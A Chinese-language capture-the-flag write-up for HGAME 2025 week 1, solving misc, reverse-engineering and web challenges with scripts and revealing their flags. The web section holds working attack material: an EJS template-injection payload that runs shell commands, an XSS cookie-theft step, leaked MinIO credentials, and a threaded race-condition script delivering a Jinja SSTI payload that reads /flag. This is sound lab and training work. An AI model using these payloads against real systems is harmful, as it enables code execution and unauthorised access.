HGAME-WEEK1_WP

发布于 2025-02-28 258 次阅读


-----by Hurkin

签到

TEST NC

从这里开始的序章。

hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}

Misc

Hakuya Want A Girl Friend

下载得到一个txt文件,里面是16进制 一眼有zip

提取出来 发现里面需要密码

然后用010打开 发现是png反转 exp:

import os
import binascii
def file_to_hex(file_path):
  if not os.path.exists(file_path):
•    raise FileNotFoundError(f"文件 {file_path} 不存在")
  with open(file_path, 'rb') as f:
•    data = f.read()
•    hex_data = binascii.hexlify(data)
•    return hex_data
def reverse_hex(hex_str):
  reversed_hex = ''.join([hex_str[i:i+2] for i in range(0, len(hex_str), 2)][::-1])
  return reversed_hex
def process_file(input_path, output_path):
  hex_data = file_to_hex(input_path)
  reversed_hex = reverse_hex(hex_data.decode())
  with open(output_path, 'wb') as f:
•    f.write(binascii.unhexlify(reversed_hex.encode()))
if __name__ == "__main__":
  input_file = 'XXXXXXXXXXXXXXXXXXXXXX\\a.png'  # 输入文件路径
  output_file = 'XXXXXXXXXXXXXXXXXXXXXX\\b.png'  # 输出文件路径
  process_file(input_file, output_file)
  print(f"文件已成功处理并保存到 {output_file}")

然后得到帅照,再恢复宽高得到密码

解压获得

然后把hagme改成hgame就行

Computer cleaner

prat1。在shell.php里

hgame{y0u_

同目录下有ip地址121.41.34.25

访问得

hav3_cleaned_th3

最后一部分

_c0mput3r!}

所以 flag是

hgame{y0u_hav3_cleaned_th3_c0mput3r!}

Level 314 线性走廊中的双生实体

linear1 层对输入张量进行线性变换

security层:

  1. 如果输入张量的均值接近0.31415,则解码并打印隐藏的flag。
  2. 如果输入张量的均值大于0.5,则解码并打印虚假的flag

relu层对输入张量应用ReLU激活函数

linear2 层是一个标准的线性变换层

import torch
from torch import optim
from io import StringIO
import sys
# 加载预训练模型
model = torch.jit.load('Model.pt')
# 设定目标均值
desired_mean = 0.31415
# 初始化输入张量
batch_size = 1
input_dim = 10
input_data = torch.full((batch_size, input_dim), 0.0, requires_grad=True)
# 配置优化器
optimizer = optim.Adam([input_data], lr=0.01)
# 定义损失函数
def compute_loss(output_mean):
  return (output_mean - desired_mean) ** 2
# 执行优化过程
max_iterations = 1000
for iteration in range(max_iterations):
  optimizer.zero_grad()
  # 前向传播
  linear_output = model.linear1(input_data)
  current_mean = torch.mean(linear_output)
  # 计算损失
  loss = compute_loss(current_mean)
  # 反向传播与优化
  loss.backward()
  optimizer.step()
  # 打印中间结果
  if iteration % 100 == 0:
      print(f"Iteration {iteration}: Current mean = {current_mean.item()}, Loss = {loss.item()}")
# 输出最终结果
print(f"Final input mean: {torch.mean(input_data).item()}")
print(f"Post-linear1 mean: {torch.mean(model.linear1(input_data)).item()}")
# 重定向标准输出以捕获print输出
original_stdout = sys.stdout
sys.stdout = captured_stdout = StringIO()
# 运行完整模型
final_output = model(input_data)
# 恢复标准输出
sys.stdout = original_stdout
# 检查并打印捕获的输出
output_log = captured_stdout.getvalue()
if "Hidden:" in output_log:
  print("Found the real flag:")
  print(output_log)
else:
  print("Failed to find the real flag.")

RE

Compress dot new

先解析 Huffman 树

enc.txt 的第一部分是 Huffman 树的 JSON 表示。我们需要解析这个 JSON 并重建 Huffman 树。

再解码二进制数据

第二部分是使用 Huffman 编码后的二进制数据。我们需要根据 Huffman 树将这些二进制数据解码回原始字符。

最后重建原始文本

将解码后的字符按顺序排列,得到 flag.txt 的原始内容。

exp:

import json
# 解析 Huffman 树
def parse_huffman_tree(node, code='', code_dict=None):
  if code_dict is None:
      code_dict = {}
  if 's' in node:
      code_dict[node['s']] = code
  else:
      if 'a' in node:
          parse_huffman_tree(node['a'], code + '0', code_dict)
      if 'b' in node:
          parse_huffman_tree(node['b'], code + '1', code_dict)
  return code_dict
# 解码二进制数据
def decode_binary_data(binary_data, code_dict):
  reverse_code_dict = {v: k for k, v in code_dict.items()}
  current_code = ''
  decoded_text = ''
  for bit in binary_data:
      current_code += bit
      if current_code in reverse_code_dict:
          decoded_text += chr(reverse_code_dict[current_code])
          current_code = ''
  return decoded_text
# 读取 enc.txt
with open('D:\\AAAHurkin\\Code\\CTF\\比赛\\2025\\HGAME\\WEEK1\\Compress dot new\\enc.txt', 'r') as file:
  data = file.read().split('\n')
  huffman_tree_json = data[0]
  binary_data = data[1]
# 解析 Huffman 树
huffman_tree = json.loads(huffman_tree_json)
code_dict = parse_huffman_tree(huffman_tree)
# 解码二进制数据
decoded_text = decode_binary_data(binary_data, code_dict)
# 输出解码后的文本
print(decoded_text)

Turtle

直接脱壳,脱IDA分析,其中KEY是RC4加密,flag是用key加密

exp:

def rc4(key, data):
# 初始化S盒
​ S = list(range(256))
​ j = 0
# KSA阶段
​ for i in range(256):
​ j = (j + S[i] + key[i % len(key)]) % 256
​ S[i], S[j] = S[j], S[i]
# PRGA阶段生成密钥流
​ i = j = 0
​ keystream = []
​ for _ in range(len(data)):
​ i = (i + 1) % 256
​ j = (j + S[i]) % 256
​ S[i], S[j] = S[j], S[i]
​ k = S[(S[i] + S[j]) % 256]
​ keystream.append(k)
# 异或解密
​ return bytes([data[x] ^ keystream[x] for x in range(len(data))])
# 解密Key
encrypted_key = bytes([0xCD, 0x8F, 0x25, 0x3D, 0xE1, 0x51, 0x4A])
key_seed = b'yekyek'
decrypted_key = rc4(key_seed, encrypted_key)
print("Key:", decrypted_key.decode())
# 解密Flag
v5_encrypted = bytes([
0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23,
0x15, 0x4A, 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF,
0xC4, 0x09, 0xFE, 0xE3, 0x9F, 0x49, 0x87, 0xEA,
0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11, 0xC1, 0xBC,
0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
])
flag = rc4(decrypted_key, v5_encrypted)
print("Flag:", flag.decode('utf-8', errors='ignore'))

WEB

Level 24 Pacman

用鼠标打开,去美化一下https://obf-io.deobfuscate.io/

对js进行分析

应该是上面的base64对应到达一万分得到的aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=

(其实控制台改分数也行image-20250203212711024

最后得到

haeu4epca_4trgm{_r_amnmse}

Level 47 BandBomb

这个网页是基于vue的,所以不考虑php马

app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}
fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

/rename接口可以改名,用POSTMAN传JSON,覆盖ejs打模板马

试了一下,不在目录下,就想到环境变量。

exp:

<%- process.mainModule.require('child_process').execSync('env') %>

刷新一下网页,然后就显示出flag

Level 69 MysteryMessageBoard

先弱密码爆破,得到密码888888

然后是xss,在用nc监听

exp:

session=MTczODgyMzkzNXxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8CVCTE94XqyZtucHRBJG8ctXbXWl5GynvfM6RcnYa-EI=

在用bp伪造admin访问/flag

Level 25 双面人派对

先upx脱壳

用ida打开,是一个mc桶服务

然后连接,

mc alias set myminio http://node1.hgame.vidar.club:30516 minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=

查看目录

把hints下的scr.zip提取出来

是一个go路由,然后添加rce马访问路由即可image-20250208215457764

flag{y0u_s4ld_r1ghT-BUt-YoU-SH0uID-plAy-geNsHIN_imP4Ct0}

Level 38475 角落

先打robots.txt

发现/app.conf

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

应该是Rewrite的CVE

然后去读取源码,发现是延时检查黑名单,很经典的条件竞争

exp:

import threading
import requests
Path = "http://node1.hgame.vidar.club:32490"
def send():
while True:
​ requests.post(f"{Path}/app/send", data={"message": """{{[].__class__.__base__.__subclasses__()[140].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}"""})
def read():
while True:
​ print(requests.get(f"{Path}/app/read").text)
\# 创建和启动50个发送线程和150个读取线程
threads = []
for _ in range(50):
tosend = threading.Thread(target=send)
toget = threading.Thread(target=read)
threads.append(tosend)
threads.append(toget)
tosend.start()
toget.start()

得到flag

hgame{YOu-f1Nd_TH3_kEy_TO-Rrr4C3-oUuuUt22e0754}
Being Better
最后更新于 2025-02-28